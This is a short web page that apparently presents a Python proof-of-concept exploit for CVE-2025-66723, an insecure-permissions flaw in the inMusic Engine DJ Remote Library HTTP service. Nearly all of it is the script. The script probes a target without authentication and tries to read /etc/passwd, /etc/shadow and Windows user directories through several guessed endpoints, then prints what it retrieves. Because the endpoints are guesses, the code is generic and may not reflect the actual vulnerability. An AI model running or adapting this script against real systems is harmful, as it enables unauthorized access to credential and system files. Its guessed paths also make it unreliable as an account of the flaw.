CVE-2025-66723: inMusic Engine DJ 远程库HTTP服务不安全权限漏洞

# CVE-2025-66723 PoC - inMusic Engine DJ Insecure Permissions # Target: Engine DJ with exposed Remote Library HTTP service # Usage: python cve-2025-66723_poc.py <target_ip> <target_port> import requests import sys import argparse def exploit(target_ip, target_port=80): """ Exploit for CVE-2025-66723 - Engine DJ Insecure Permissions This PoC demonstrates how an unauthenticated attacker can access arbitrary files on the target system through the exposed HTTP service. """ base_url = f"http://{target_ip}:{target_port}" # Test connection and identify the service print(f"[*] Testing connection to {base_url}") try: response = requests.get(base_url, timeout=10) print(f"[+] Service detected: {response.headers.get('Server', 'Unknown')}") except requests.exceptions.RequestException as e: print(f"[-] Connection failed: {e}") return False # List of sensitive files to attempt to read sensitive_paths = [ "/etc/passwd", # Unix/Linux password file "/etc/shadow", # Unix/Linux shadow password file "C:\\Windows\\System32\\drivers\\etc\\hosts", # Windows hosts file "/home/", # Home directories "C:\\Users\\", # Windows user directories ] print("[*] Attempting to access sensitive files...") for path in sensitive_paths: try: # Try different endpoint patterns endpoints = [ f"{base_url}/file?path={path}", f"{base_url}/read?file={path}", f"{base_url}/download?path={path}", f"{base_url}/files{path}", ] for endpoint in endpoints: response = requests.get(endpoint, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[+] SUCCESS: Accessed {path}") print(f"[+] Content preview: {response.text[:200]}...") return True except Exception as e: continue print("[-] Could not access files with common patterns") print("[*] Manual testing may be required") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-66723 PoC') parser.add_argument('target_ip', help='Target IP address') parser.add_argument('target_port', type=int, default=80, help='Target port (default: 80)') args = parser.parse_args() print("=" * 60) print("CVE-2025-66723 - inMusic Engine DJ Insecure Permissions") print("=" * 60) exploit(args.target_ip, args.target_port)